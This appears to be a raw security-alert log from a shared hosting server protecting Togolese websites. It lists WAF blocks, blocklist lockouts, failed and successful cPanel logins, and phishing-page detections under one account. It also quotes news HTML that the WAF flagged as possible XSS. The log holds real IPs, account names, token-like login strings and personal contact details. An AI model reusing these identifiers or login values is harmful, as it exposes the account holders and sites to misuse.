s\xc3\xa9curit\xc3\xa9, de d\xc3\xa9veloppement et d\xe2\x80\x99int\xc3\xa9gration \xc3\xa9conomique. le togo propose une approche pragmatique, loin des id\xc3\xa9ologies, centr\xc3\xa9e sur les r\xc3\xa9alit\xc3\xa9s du terrain.</span>\r\n\r\n<span style=\"font-family: verdana, geneva, sans-serif;\">les analystes estiment que cette d\xc3\xa9marche renforce la visibilit\xc3\xa9 diplomatique du pays et pourrait ouvrir la voie \xc3\xa0 de nouveaux financements internationaux pour des projets transfrontaliers. la mise en \xc5\x93uvre d\xc3\xa9butera progressivement dans les prochains mois.</span>||RSV:8.17||T:APACHE||


plugin: ossec
rule: 11006
name: cPanel login success
abuser: 5.230.153.48
country_id: 2635167
description:
[2026-06-15 12:07:04 +0000] info [cpaneld] 5.230.153.48 NEW wcnyaruu:4scIRzI6Cpadtecf address=5.230.153.48,app=cpaneld,creator=wcnyaruu,method=handle_form_login,path=form,possessed=0


plugin: modsec
rule: 77093094
abuser: 35.192.232.168
country_id: 6252001
domain: www.selithgroup.com
description:


plugin: ossec
rule: 31130
name: Anti-bot protection. User passed successfully
abuser: 103.108.92.94
country_id: 2077456
description:
103.108.92.94 - - [15/Jun/2026:12:10:23 +0000] "GET /z0f76a1d14fd21a8fb5fd0d03e0fdc3d3cedae52f?wsidchk=10316445&pdata=https%253A%252F%252Fafrique-distribution.net%252Frosjhg.html&id=7fa3b767c460b54a2be4d49030b349c7&ts=1781525421 HTTP/2.0" 302 0 afrique-distribution.net "https://afrique-distribution.net/rosjhg.html" "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/137.0.0.0 Safari/537.36" WL:"0" "-" XFF:"-" CAPTCHA:"0" PEER:103.108.92.94


plugin: ossec
rule: 31130
name: Anti-bot protection. User passed successfully
abuser: 139.99.170.109
country_id: 2077456
description:
139.99.170.109 - - [15/Jun/2026:12:10:28 +0000] "GET /z0f76a1d14fd21a8fb5fd0d03e0fdc3d3cedae52f?wsidchk=9803927&pdata=https%253A%252F%252Fafrique-distribution.net%252Frosjhg.html&id=7fa3b767c460b54a2be4d49030b349c7&ts=1781525426 HTTP/2.0" 302 0 afrique-distribution.net "https://afrique-distribution.net/rosjhg.html" "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/137.0.0.0 Safari/537.36" WL:"0" "-" XFF:"-" CAPTCHA:"0" PEER:139.99.170.109


plugin: modsec
rule: 77391379
name: IM360 WAF: Possible XSS in arguments
abuser: 102.64.165.143
country_id: 2363686
domain: macite.tg
description:
IM360 WAF: Possible XSS in arguments||MV:<!-- wp:paragraph -->\n<p><strong><em>les relations diplomatiques entre lom\xc3\xa9 et bras\xc3\xadlia s'offrent un nouvel \xc3\xa9lan. le chef de la diplomatie togolaise, prof robert dussey, a re\xc3\xa7u officiellement, le vendredi 12 janvier dernier \xc3\xa0 lom\xc3\xa9, les copies des lettres de cr\xc3\xa9ance du nouvel ambassadeur d\xc3\xa9sign\xc3\xa9 de la r\xc3\xa9publique f\xc3\xa9d\xc3\xa9rative du br\xc3\xa9sil au togo, luiz ivaldo villafa\xc3\xb1e gomes santos.</em></strong></p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p>le nouveau diplomate succ\xc3\xa8de \xc3\xa0 nei futuro bitencourt avec une feuille de route claire : consolider et dynamiser les liens d\xe2\x80\x99amiti\xc3\xa9 et de partenariat unissant les deux nations.</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:image {\"id\":31146,\"width\":\"558px\",\"height\":\"auto\",\"sizeslug\":\"large\",\"linkdestination\":\"none\",\"align\":\"center\"} -->\n<figure class=\"wp-block-image aligncenter size-large is-resized\"><img src=\"https://macite.tg/wp-content/uploads/2026/06/image-30-724x1024.png\" alt=\"\" class=\"wp-image-31146\" style=\"width:558px;height:auto\"/></figure>\n<!-- /wp:image -->\n\n<!-- wp:paragraph -->\n<p>le togo et le br\xc3\xa9sil partagent une histoire de coop\xc3\xa9ration solide, mat\xc3\xa9rialis\xc3\xa9e par des accords diplomatiques et des projets strat\xc3\xa9giques dans plusieurs secteurs cl\xc3\xa9s, notamment l\xe2\x80\x99agriculture (transfert de technologies et de comp\xc3\xa9tences), la culture (partage de patrimoines et rapprochement des peuples) et la formation avec des programmes de bourses et renforcement des capacit\xc3\xa9s.</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p>notons que les relations entre lom\xc3\xa9 et brasilia sont \xc3\xa9galement port\xc3\xa9es par une forte proximit\xc3\xa9 historique et culturelle, notamment visible \xc3\xa0 travers l'h\xc3\xa9ritage de la communaut\xc3\xa9 \"agouda\" (les descendants de br\xc3\xa9siliens retourn\xc3\xa9s en afrique) \xc3\xa0 lom\xc3\xa9.</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:image {\"id\":31157,\"width\":\"628px\",\"height\":\"auto\",\"aspectratio\":\"0.707045474536019\",\"sizeslug\":\"large\",\"linkdestination\":\"none\",\"align\":\"center\"} -->\n<figure class=\"wp-block-image aligncenter size-large is-resized\"><img src=\"https://macite.tg/wp-content/uploads/2026/06/18d98b1d-0295-41c7-afab-fc9c13606bd0-724x1024.jpg\" alt=\"\" class=\"wp-image-31157\" style=\"aspect-ratio:0.707045474536019;width:628px;height:auto\"/></figure>\n<!-- /wp:image -->\n\n<!-- wp:paragraph -->\n<p>luiz ivaldo villafa\xc3\xb1e gomes santos poss\xc3\xa8de une solide exp\xc3\xa9rience diplomatique en afrique de l'ouest. avant de poser ses valises au togo, il a exerc\xc3\xa9 les fonctions d'ambassadeur dans plusieurs pays voisins, notamment au b\xc3\xa9nin, au niger, entre autres.</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p><strong>jpb</strong></p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p><strong><em>@macite.tg&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;</em></strong></p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p><strong><em>e-mail&nbsp;: </em></strong><a href=\"mailto:maciteinfo@gmail.com\"><strong><em>maciteinfo@gmail.com</em></strong></a><strong><em>; </em></strong><a href=\"mailto:bawela1@gmail.com\"><strong><em>bawela1@gmail.com</em></strong></a><strong><em></em></strong></p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p><strong><em>pour vos annonces, publi-reportages, etc., joignez-nous au (00228)91515309/<strong>79872224 </strong><strong></strong></em></strong></p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p><strong><em>www.macite.tg, l\xe2\x80\x99information, la bonne&nbsp;!</em></strong></p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p></p>\n<!-- /wp:paragraph -->||RSV:8.17||T:APACHE||


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 45.165.170.41
country_id: 3895114
description:
Jun 15 12:12:09 ns5 auth[4030142]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 45.165.170.41 has been locked due to Imunify RBL


plugin: modsec
rule: 77316905
name: IM360 WAF: Block IP which is in the web-spammers RBL
abuser: 31.40.195.185
country_id: 6252001
domain: lct-togo.tg
description:
IM360 WAF: Block IP which is in the web-spammers RBL||Rules:r33309||MV:12-12.31.40.195.185||RSV:8.17||T:APACHE||


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 45.165.170.41
country_id: 3895114
description:
Jun 15 12:12:24 ns5 auth[4030142]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 45.165.170.41 has been locked due to Imunify RBL


plugin: modsec
rule: 77316905
name: IM360 WAF: Block IP which is in the web-spammers RBL
abuser: 140.235.0.128
country_id: 6252001
domain: lct-togo.tg
description:
IM360 WAF: Block IP which is in the web-spammers RBL||Rules:r33309||MV:12-12.140.235.0.128||RSV:8.17||T:APACHE||


plugin: modsec
rule: 77316905
name: IM360 WAF: Block IP which is in the web-spammers RBL
abuser: 193.142.36.131
country_id: 6252001
domain: lct-togo.tg
description:
IM360 WAF: Block IP which is in the web-spammers RBL||Rules:r33309||MV:12-12.193.142.36.131||RSV:8.17||T:APACHE||


plugin: modsec
rule: 77316905
name: IM360 WAF: Block IP which is in the web-spammers RBL
abuser: 199.96.166.155
country_id: 6252001
domain: lct-togo.tg
description:
IM360 WAF: Block IP which is in the web-spammers RBL||Rules:r33309||MV:12-12.199.96.166.155||RSV:8.17||T:APACHE||


plugin: modsec
rule: 77316905
name: IM360 WAF: Block IP which is in the web-spammers RBL
abuser: 140.235.168.159
country_id: 6252001
domain: lct-togo.tg
description:
IM360 WAF: Block IP which is in the web-spammers RBL||Rules:r33309||MV:12-12.140.235.168.159||RSV:8.17||T:APACHE||


plugin: modsec
rule: 77316905
name: IM360 WAF: Block IP which is in the web-spammers RBL
abuser: 31.134.12.124
country_id: 241170
domain: lct-togo.tg
description:
IM360 WAF: Block IP which is in the web-spammers RBL||Rules:r33309||MV:12-12.31.134.12.124||RSV:8.17||T:APACHE||


plugin: modsec
rule: 77316905
name: IM360 WAF: Block IP which is in the web-spammers RBL
abuser: 193.151.190.123
country_id: 6252001
domain: lct-togo.tg
description:
IM360 WAF: Block IP which is in the web-spammers RBL||Rules:r33309||MV:12-12.193.151.190.123||RSV:8.17||T:APACHE||


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 8.210.147.41
country_id: 1819730
description:
Jun 15 12:12:26 ns5 auth[4030142]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 8.210.147.41 has been locked due to Imunify RBL


plugin: ossec
rule: 11000
name: Login failed on the cpanel service.
abuser: 104.28.157.197
country_id: 1819730
description:
[2026-06-15 12:14:18 +0000] info [cpaneld] 104.28.157.197 - pduusmyf "POST /login/?login_only=1 HTTP/1.1" FAILED LOGIN cpaneld: access denied for root, reseller, and user password


plugin: modsec
rule: 77317977
name: IM360 WAF: Sensitive Information Disclosure in OptinMonster plugin for WordPress (CVE-2021-39341)
abuser: 196.171.57.253
country_id: 2363686
domain: educplusmedia.tg
description:
IM360 WAF: Sensitive Information Disclosure in OptinMonster plugin for WordPress (CVE-2021-39341)||RSV:8.17||T:APACHE||User:ylhgcaui||


plugin: ossec
rule: 11000
name: Login failed on the cpanel service.
abuser: 174.116.186.127
country_id: 6251999
description:
[2026-06-15 12:17:29 +0000] info [cpaneld] 174.116.186.127 - mpqypjjp "GET / HTTP/1.1" FAILED LOGIN cpaneld: user name not provided or invalid user


plugin: ossec
rule: 31131
name: Anti-bot protection. User failed to pass
abuser: 103.108.92.94
country_id: 2077456
description:
103.108.92.94 - - [15/Jun/2026:12:18:51 +0000] "GET /z0f76a1d14fd21a8fb5fd0d03e0fdc3d3cedae52f?wsidchk=13212823&pdata=https%253A%252F%252Fafrique-distribution.net%252Frosjhg.html&id=7fa3b767c460b54a2be4d49030b349c7&ts=1781498261 HTTP/2.0" 404 561 afrique-distribution.net "-" "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/137.0.0.0 Safari/537.36" WL:"0" "-" XFF:"-" CAPTCHA:"0" PEER:103.108.92.94


plugin: ossec
rule: 31129
name: Anti-bot protection. Grouped messages
abuser: 103.108.92.94
country_id: 2077456
description:
103.108.92.94 - - [15/Jun/2026:12:18:51 +0000] "GET /favicon.ico HTTP/2.0" 415 587 afrique-distribution.net "https://afrique-distribution.net/z0f76a1d14fd21a8fb5fd0d03e0fdc3d3cedae52f?wsidchk=13212823&pdata=https%253A%252F%252Fafrique-distribution.net%252Frosjhg.html&id=7fa3b767c460b54a2be4d49030b349c7&ts=1781498261" "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/137.0.0.0 Safari/537.36" WL:"0" "-" XFF:"-" CAPTCHA:"0" PEER:103.108.92.94


plugin: ossec
rule: 13008
name: Mail Recipient rejected
abuser: 161.35.78.120
country_id: 2921044
description:
2026-06-15 12:19:39 H=([127.0.0.1]) [161.35.78.120]:51342 X=TLS1.3:TLS_AES_256_GCM_SHA384:256 F=<documentation@dgdn-togo.tg> A=dovecot_login:contact@dgdn-togo.tg temporarily rejected RCPT <mouzdanielo8@gmail.com>: host lookup did not complete


plugin: ossec
rule: 11000
name: Login failed on the cpanel service.
abuser: 36.70.11.90
country_id: 1643084
description:
[2026-06-15 12:19:59 +0000] info [whostmgrd] 36.70.11.90 - anadebfreenetmas "POST /login?login_only=1 HTTP/1.1" FAILED LOGIN whostmgrd: user password incorrect


plugin: modsec
rule: 77391379
name: IM360 WAF: Possible XSS in arguments
abuser: 196.169.24.40
country_id: 2363686
domain: togomedia24.tg
description:
IM360 WAF: Possible XSS in arguments||MV:<span style=\"font-family: verdana, geneva, sans-serif;\">le togo continue d\xe2\x80\x99affirmer sa position de hub diplomatique et \xc3\xa9conomique en afrique de l\xe2\x80\x99ouest. ce mardi, les autorit\xc3\xa9s ont mis en lumi\xc3\xa8re de nouveaux accords de coop\xc3\xa9ration avec le canada, particuli\xc3\xa8rement dans les domaines de l\xe2\x80\x99agriculture durable et de la modernisation des infrastructures a\xc3\xa9roportuaires. ces partenariats s\xe2\x80\x99inscrivent dans une strat\xc3\xa9gie plus large de diversification des alli\xc3\xa9s du pays.</span>\r\n\r\n<span style=\"font-family: verdana, geneva, sans-serif;\">les responsables togolais soulignent que ces initiatives permettront d\xe2\x80\x99am\xc3\xa9liorer la productivit\xc3\xa9 agricole et de renforcer la connectivit\xc3\xa9 r\xc3\xa9gionale. des projets concrets sont d\xc3\xa9j\xc3\xa0 en discussion pour soutenir les petits exploitants et d\xc3\xa9velopper les cha\xc3\xaenes de valeur locales. cette approche vise \xc3\xa0 cr\xc3\xa9er des emplois et \xc3\xa0 stimuler la croissance inclusive.</span>\r\n\r\n<span style=\"font-family: verdana, geneva, sans-serif;\">par ailleurs, ces accords interviennent dans un contexte r\xc3\xa9gional marqu\xc3\xa9 par des d\xc3\xa9fis s\xc3\xa9curitaires et \xc3\xa9conomiques. le togo, en tant que pays stable, attire de plus en plus d\xe2\x80\x99investisseurs cherchant une porte d\xe2\x80\x99entr\xc3\xa9e fiable vers le sahel et le golfe de guin\xc3\xa9e.</span>\r\n\r\n<span style=\"font-family: verdana, geneva, sans-serif;\">enfin, les observateurs estiment que cette diplomatie active renforce l\xe2\x80\x99image du togo comme acteur responsable et pragmatique sur la sc\xc3\xa8ne internationale. les prochaines semaines devraient voir la concr\xc3\xa9tisation de plusieurs volets de ces partenariats.</span>||RSV:8.17||T:APACHE||


plugin: modsec
rule: 77217210
name: IM360 WAF: Invalid HTTP Request Line
abuser: 190.57.165.20
country_id: 3658394
domain: www.djama.tg
description:
IM360 WAF: Invalid HTTP Request Line||MVN:REQUEST_LINE||MV:GET http:/www.djama.tg/event/jeu-concours-capsule-2023 HTTP/1.1||RSV:8.17||T:APACHE||


plugin: ossec
rule: 11006
name: cPanel login success
abuser: 134.195.82.55
country_id: 6252001
description:
[2026-06-15 12:21:15 +0000] info [cpaneld] 134.195.82.55 NEW ifxmoxbf:taGRi4aWCGpryDRq address=134.195.82.55,app=cpaneld,creator=ifxmoxbf,method=handle_form_login,path=form,possessed=0


plugin: ossec
rule: 13008
name: Mail Recipient rejected
abuser: 161.35.78.120
country_id: 2921044
description:
2026-06-15 12:20:25 H=([127.0.0.1]) [161.35.78.120]:57880 X=TLS1.3:TLS_AES_256_GCM_SHA384:256 F=<documentation@dgdn-togo.tg> A=dovecot_login:contact@dgdn-togo.tg temporarily rejected RCPT <mouzdanielo8@gmail.com>: host lookup did not complete


plugin: ossec
rule: 11301
name: New FTP connection.
abuser: 103.147.167.168
country_id: 1210997
description:
Jun 15 12:21:07 ns5 pure-ftpd[4144976]: (?@103.147.167.168) [INFO] New connection from 103.147.167.168


plugin: modsec
rule: 33311
name: IM360 WAF: Found crawler not in whitelist
abuser: 45.147.232.225
country_id: 6252001
domain: launetogo.tg
description:
IM360 WAF: Found crawler not in whitelist||RSV:8.17||T:APACHE||RA:45.147.232.225||TA:45.147.232.225||


plugin: ossec
rule: 13008
name: Mail Recipient rejected
abuser: 161.35.78.120
country_id: 2921044
description:
2026-06-15 12:22:06 H=([127.0.0.1]) [161.35.78.120]:43774 X=TLS1.3:TLS_AES_256_GCM_SHA384:256 F=<documentation@dgdn-togo.tg> A=dovecot_login:contact@dgdn-togo.tg temporarily rejected RCPT <mouzdanielo8@gmail.com>: host lookup did not complete


plugin: modsec
rule: 77609300
name: IM360 WAF: Possible phishing page detected
abuser: 5.230.153.169
country_id: 2635167
domain: togofarm.tg
description:
IM360 WAF: Possible phishing page detected||SC:/home/ifxmoxbf/public_html/.650020276943939.php||RSV:8.17||T:APACHE||


plugin: ossec
rule: 13008
name: Mail Recipient rejected
abuser: 161.35.78.120
country_id: 2921044
description:
2026-06-15 12:22:50 H=([127.0.0.1]) [161.35.78.120]:51440 X=TLS1.3:TLS_AES_256_GCM_SHA384:256 F=<documentation@dgdn-togo.tg> A=dovecot_login:contact@dgdn-togo.tg temporarily rejected RCPT <mouzdanielo8@gmail.com>: host lookup did not complete


plugin: ossec
rule: 13009
name: Multiple triggers of Mail Recipient rejected
abuser: 161.35.78.120
country_id: 2921044
description:
2026-06-15 12:23:32 H=([127.0.0.1]) [161.35.78.120]:39434 X=TLS1.3:TLS_AES_256_GCM_SHA384:256 F=<documentation@dgdn-togo.tg> A=dovecot_login:contact@dgdn-togo.tg temporarily rejected RCPT <mouzdanielo8@gmail.com>: host lookup did not complete


plugin: ossec
rule: 13008
name: Mail Recipient rejected
abuser: 161.35.78.120
country_id: 2921044
description:
2026-06-15 12:23:31 H=([127.0.0.1]) [161.35.78.120]:39434 X=TLS1.3:TLS_AES_256_GCM_SHA384:256 F=<documentation@dgdn-togo.tg> A=dovecot_login:contact@dgdn-togo.tg temporarily rejected RCPT <mouzdanielo8@gmail.com>: host lookup did not complete


plugin: ossec
rule: 13008
name: Mail Recipient rejected
abuser: 34.76.64.203
country_id: 2802361
description:
2026-06-15 12:24:54 H=([10.88.0.3]) [34.76.64.203]:44600 F=<> rejected RCPT <doug@ns5.netmaster.tg>: Unrouteable address


plugin: ossec
rule: 13008
name: Mail Recipient rejected
abuser: 161.35.78.120
country_id: 2921044
description:
2026-06-15 12:24:19 H=([127.0.0.1]) [161.35.78.120]:54186 X=TLS1.3:TLS_AES_256_GCM_SHA384:256 F=<documentation@dgdn-togo.tg> A=dovecot_login:contact@dgdn-togo.tg temporarily rejected RCPT <mouzdanielo8@gmail.com>: host lookup did not complete


plugin: ossec
rule: 31130
name: Anti-bot protection. User passed successfully
abuser: 103.108.92.94
country_id: 2077456
description:
103.108.92.94 - - [15/Jun/2026:12:25:32 +0000] "GET /z0f76a1d14fd21a8fb5fd0d03e0fdc3d3cedae52f?wsidchk=9921900&pdata=https%253A%252F%252Fafrique-distribution.net%252Frosjhg.html&id=7fa3b767c460b54a2be4d49030b349c7&ts=1781526330 HTTP/2.0" 302 0 afrique-distribution.net "https://afrique-distribution.net/rosjhg.html" "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/137.0.0.0 Safari/537.36" WL:"0" "-" XFF:"-" CAPTCHA:"0" PEER:103.108.92.94


plugin: ossec
rule: 31130
name: Anti-bot protection. User passed successfully
abuser: 139.99.170.109
country_id: 2077456
description:
139.99.170.109 - - [15/Jun/2026:12:25:33 +0000] "GET /z0f76a1d14fd21a8fb5fd0d03e0fdc3d3cedae52f?wsidchk=6319510&pdata=https%253A%252F%252Fafrique-distribution.net%252Frosjhg.html&id=7fa3b767c460b54a2be4d49030b349c7&ts=1781526331 HTTP/2.0" 302 0 afrique-distribution.net "https://afrique-distribution.net/rosjhg.html" "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/137.0.0.0 Safari/537.36" WL:"0" "-" XFF:"-" CAPTCHA:"0" PEER:139.99.170.109


plugin: modsec
rule: 77350396
name: IM360 WAF: Request indicates a Headless browser
abuser: 185.117.225.124
country_id: 6252001
domain: bierehofbrau.snb.tg
description:
IM360 WAF: Request indicates a Headless browser||MV:Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) HeadlessChrome/123.0.6312.86 Safari/537.36||RSV:8.17||T:APACHE||


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 106.13.181.87
country_id: 1814991
description:
2026-06-15 12:27:55 dovecot_login authenticator failed for H=([116.171.27.248]) [106.13.181.87]:60086: 535 Incorrect authentication data (set_id=j_essoh@centif.tg)


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 106.13.181.87
country_id: 1814991
description:
Jun 15 12:27:53 ns5 auth[4030142]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 106.13.181.87 has been locked due to Imunify RBL


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 89.23.123.32
country_id: 2017370
description:
Jun 15 12:27:56 ns5 auth[4030142]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 89.23.123.32 has been locked due to Imunify RBL


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 89.23.123.32
country_id: 2017370
description:
2026-06-15 12:27:58 dovecot_plain authenticator failed for H=(ijw2lctae2guicetm484) [89.23.123.32]:56167: 535 Incorrect authentication data (set_id=info@keedyfarms.com)


plugin: ossec
rule: 11006
name: cPanel login success
abuser: 45.58.50.155
country_id: 6252001
description:
[2026-06-15 12:30:15 +0000] info [cpaneld] 45.58.50.155 NEW ifxmoxbf:riayYHxSkpl3BtHl address=45.58.50.155,app=cpaneld,creator=ifxmoxbf,method=handle_form_login,path=form,possessed=0


plugin: modsec
rule: 77609300
name: IM360 WAF: Possible phishing page detected
abuser: 5.230.153.226
country_id: 2635167
domain: togofarm.tg
description:
IM360 WAF: Possible phishing page detected||SC:/home/ifxmoxbf/public_html/.911341460088432.php||RSV:8.17||T:APACHE||


plugin: modsec
rule: 77391379
name: IM360 WAF: Possible XSS in arguments
abuser: 196.169.24.40
country_id: 2363686
domain: togomedia24.tg
description:
IM360 WAF: Possible XSS in arguments||MV:<span style=\"font-family: verdana, geneva, sans-serif;\">la commission nationale des droits de l\xe2\x80\x99homme (cndh) a officiellement remis son rapport d\xe2\x80\x99activit\xc3\xa9s pour l\xe2\x80\x99ann\xc3\xa9e 2025 au pr\xc3\xa9sident de l\xe2\x80\x99assembl\xc3\xa9e nationale. ce document d\xc3\xa9taill\xc3\xa9 met en lumi\xc3\xa8re les progr\xc3\xa8s r\xc3\xa9alis\xc3\xa9s dans plusieurs domaines tout en pointant les d\xc3\xa9fis persistants.</span>\r\n\r\n<span style=\"font-family: verdana, geneva, sans-serif;\">les commissaires ont salu\xc3\xa9 les efforts du gouvernement en mati\xc3\xa8re de protection des droits fondamentaux, notamment dans l\xe2\x80\x99acc\xc3\xa8s \xc3\xa0 la justice et la promotion de l\xe2\x80\x99\xc3\xa9galit\xc3\xa9. cependant, ils appellent \xc3\xa0 une vigilance continue face aux vuln\xc3\xa9rabilit\xc3\xa9s identifi\xc3\xa9es.</span>\r\n\r\n<span style=\"font-family: verdana, geneva, sans-serif;\">ce rapport constitue un outil pr\xc3\xa9cieux pour le suivi des engagements internationaux du togo. il servira de base aux discussions parlementaires et aux partenaires techniques et financiers.</span>\r\n\r\n<span style=\"font-family: verdana, geneva, sans-serif;\">les organisations de la soci\xc3\xa9t\xc3\xa9 civile ont accueilli positivement cette transparence, tout en encourageant une mise en \xc5\x93uvre effective des recommandations formul\xc3\xa9es. ce geste renforce la cr\xc3\xa9dibilit\xc3\xa9 des institutions togolaises.</span>||RSV:8.17||T:APACHE||


plugin: ossec
rule: 31131
name: Anti-bot protection. User failed to pass
abuser: 103.108.92.94
country_id: 2077456
description:
103.108.92.94 - - [15/Jun/2026:12:32:07 +0000] "GET /z0f76a1d14fd21a8fb5fd0d03e0fdc3d3cedae52f?wsidchk=13212823&pdata=https%253A%252F%252Fafrique-distribution.net%252Frosjhg.html&id=7fa3b767c460b54a2be4d49030b349c7&ts=1781498261 HTTP/2.0" 404 561 afrique-distribution.net "-" "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/137.0.0.0 Safari/537.36" WL:"0" "-" XFF:"-" CAPTCHA:"0" PEER:103.108.92.94


plugin: ossec
rule: 31129
name: Anti-bot protection. Grouped messages
abuser: 103.108.92.94
country_id: 2077456
description:
103.108.92.94 - - [15/Jun/2026:12:32:08 +0000] "GET /favicon.ico HTTP/2.0" 415 587 afrique-distribution.net "https://afrique-distribution.net/z0f76a1d14fd21a8fb5fd0d03e0fdc3d3cedae52f?wsidchk=13212823&pdata=https%253A%252F%252Fafrique-distribution.net%252Frosjhg.html&id=7fa3b767c460b54a2be4d49030b349c7&ts=1781498261" "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/137.0.0.0 Safari/537.36" WL:"0" "-" XFF:"-" CAPTCHA:"0" PEER:103.108.92.94


plugin: modsec
rule: 77217210
name: IM360 WAF: Invalid HTTP Request Line
abuser: 37.205.114.33
country_id: 99237
domain: togodailynews.tg
description:
IM360 WAF: Invalid HTTP Request Line||MVN:REQUEST_LINE||MV:GET http:/togodailynews.tg/a-addis-abeba-le-togo-impulse-une-decision-historique-sur-la-cartographie-de-lafrique/ HTTP/1.1||RSV:8.17||T:APACHE||


plugin: modsec
rule: 77217210
name: IM360 WAF: Invalid HTTP Request Line
abuser: 37.205.114.33
country_id: 99237
domain: togodailynews.tghttp
description:
IM360 WAF: Invalid HTTP Request Line||MVN:REQUEST_LINE||MV:GET http:/togodailynews.tghttp/togodailynews.tg/a-addis-abeba-le-togo-impulse-une-decision-historique-sur-la-cartographie-de-lafrique/ HTTP/1.1||RSV:8.17||T:APACHE||


plugin: ossec
rule: 13008
name: Mail Recipient rejected
abuser: 196.170.45.140
country_id: 2363686
description:
2026-06-15 12:35:42 H=([172.17.4.32]) [196.170.45.140]:57642 X=TLS1.3:TLS_AES_128_GCM_SHA256:128 F=<sadognon@wages.tg> rejected RCPT <gtondja@wages.tg>: SMTP AUTH is required for message submission on port 465


plugin: ossec
rule: 31130
name: Anti-bot protection. User passed successfully
abuser: 47.128.96.185
country_id: 1880251
description:
47.128.96.185 - - [15/Jun/2026:12:37:09 +0000] "GET /z0f76a1d14fd21a8fb5fd0d03e0fdc3d3cedae52f?wsidchk=7039637&pdata=https%253A%252F%252Fcfpj.tg%252Fhistorique%252F&id=7fa3b767c460b54a2be4d49030b349c7&ts=1781527027 HTTP/2.0" 302 0 cfpj.tg "https://cfpj.tg/historique/" "Mozilla/5.0 (Linux; Android 5.0) AppleWebKit/537.36 (KHTML, like Gecko) Mobile Safari/537.36 (compatible; TikTokSpider; ttspider-feedback@tiktok.com)" WL:"0" "-" XFF:"-" CAPTCHA:"0" PEER:47.128.96.185


plugin: ossec
rule: 13008
name: Mail Recipient rejected
abuser: 196.168.0.186
country_id: 2363686
description:
2026-06-15 12:36:43 H=([172.17.4.32]) [196.168.0.186]:57668 X=TLS1.3:TLS_AES_128_GCM_SHA256:128 F=<sadognon@wages.tg> rejected RCPT <gtondja@wages.tg>: SMTP AUTH is required for message submission on port 465


plugin: modsec
rule: 77217210
name: IM360 WAF: Invalid HTTP Request Line
abuser: 213.230.78.201
country_id: 1512440
domain: ca-togo.org
description:
IM360 WAF: Invalid HTTP Request Line||MVN:REQUEST_LINE||MV:GET http:/ca-togo.org/objectif HTTP/1.1||RSV:8.17||T:APACHE||


plugin: modsec
rule: 77839622
name: IM360 WAF: XML-RPC Suspicious blog attempt
abuser: 223.225.99.119
country_id: 1269750
domain: misstogo.tg
description:
IM360 WAF: XML-RPC Suspicious blog attempt||Username:lucashd.misstogo.tg||ServerName:misstogo.tg||Method:metaWeblog.newPost||BlogID:1||TitleSHA:f7ad54ee71459778ded40b8dd4f432abac05e015||Title:9edeffmx334wzze5h||RSV:8.17||T:APACHE||


plugin: modsec
rule: 33375
name: IM360 WAF: XMLRPC fault response
abuser: 223.225.99.119
country_id: 1269750
domain: misstogo.tg
description:
IM360 WAF: XMLRPC fault response||MV:<?xml version=\"1.0\" encoding=\"UTF-8\"?>\n<methodResponse>\n  <fault>\n    <value>\n      <struct>\n        <member>\n          <name>faultCode</name>\n          <value><int>403</int></value>\n        </member>\n        <member>\n          <name>faultString</name>\n          <value><string>Identifiant ou mot de passe incorrect.</string></value>\n        </member>\n      </struct>\n    </value>\n  </fault>\n</methodResponse>\n||RSV:8.17||T:APACHE||


plugin: modsec
rule: 77391379
name: IM360 WAF: Possible XSS in arguments
abuser: 196.169.24.40
country_id: 2363686
domain: togomedia24.tg
description:
